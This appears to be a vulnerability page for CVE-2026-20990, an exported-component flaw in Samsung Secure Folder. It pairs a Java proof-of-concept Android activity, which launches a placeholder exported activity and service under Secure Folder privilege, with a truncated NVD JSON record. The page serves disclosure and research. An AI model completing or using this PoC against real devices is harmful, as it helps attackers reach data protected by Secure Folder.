CVE-2026-20990

// CVE-2026-20990 PoC - Exploit Improper Component Export in Samsung Secure Folder // This PoC demonstrates how a local attacker can launch arbitrary activity with Secure Folder privilege package com.example.cve20990poc; import android.content.ComponentName; import android.content.Intent; import android.os.Bundle; import android.app.Activity; import android.util.Log; public class ExploitActivity extends Activity { private static final String TAG = "CVE-2026-20990"; // Secure Folder package name (varies by device model) private static final String SECURE_FOLDER_PKG = "com.samsung.android.authmanager"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Log.d(TAG, "Starting CVE-2026-20990 exploit..."); // Method 1: Try to launch exported Activity in Secure Folder tryExploitActivity(); // Method 2: Try to start exported Service tryExploitService(); } private void tryExploitActivity() { try { // Target specific exported Activity in Secure Folder // Note: Actual component names need to be identified via decompilation ComponentName component = new ComponentName( SECURE_FOLDER_PKG, "com.samsung.android.authmanager.ExportedActivityName" ); Intent intent = new Intent(); intent.setComponent(component); intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // Attempt to start the activity with Secure Folder privilege startActivity(intent); Log.d(TAG, "Activity launch attempted successfully"); } catch (Exception e) { Log.e(TAG, "Activity exploit failed: " + e.getMessage()); } } private void tryExploitService() { try { ComponentName serviceComponent = new ComponentName( SECURE_FOLDER_PKG, "com.samsung.android.authmanager.ExportedServiceName" ); Intent serviceIntent = new Intent(); serviceIntent.setComponent(serviceComponent); // Start service with Secure Folder privilege context startService(serviceIntent); Log.d(TAG, "Service start attempted"); } catch (Exception e) { Log.e(TAG, "Service exploit failed: " + e.getMessage()); } } } // Detection script for identifying vulnerable devices: // adb shell dumpsys package com.samsung.android.authmanager | grep -i exported

{"cve": {"id": "CVE-2026-20990", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:09.750", "lastModified": "2026-03-20T13:48:21.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper export of android application components in Secure Folder prior to SMR Mar-2026 Release 1 allows local attackers to launch arbitrary activity with Secure Folder privilege."}, {"lang": "es", "value": "Exportación indebida de componentes de aplicaciones Android en Carpeta Segura anterior a SMR Mar-2026 Versión 1 permite a atacantes locales lanzar actividad arbitraria con privilegio de Carpeta Segura."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:-:*:*:*:*:*:*", "matchCriteriaId": "3093F6FE-C562-4F62-97B7-CA0D2DDF9BBE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "9CBFF102-91A9-4BCC-BB43-912896BFCCEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "DAB2A0D7-8F4F-4128-AE09-D2658D793BF7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6A89AE5B-4D1A-4ADA-B572-38B1FC4ED54C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "3F58ACB0-BA2B-4AFE-91DC-32CBD70DFD73"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "401980A7-E64A-4773-83EB-C93B50AE0F73"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "CC6E2FC7-2BAF-4C7B-9E0F-D9F844041A35"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6E12AB0B-728A-4478-B237-78CBAA2A44C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "26EEF3EC-643F-4A39-8F4C-11F0F534B589"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "0501033A-0D51-41E8-91A9-E72B6EE3F78D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "2A901EFE-90BA-474C-88D2-8A3E7D99C0E7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "DF7B3213-520A-49F0-A183-C73A37A56854"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "9AB6398C-6A3E-4146-9A5C-595BE36047BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:14.0:smr-dec-2025-r1:*:*:*:*:*:*", "mat ... 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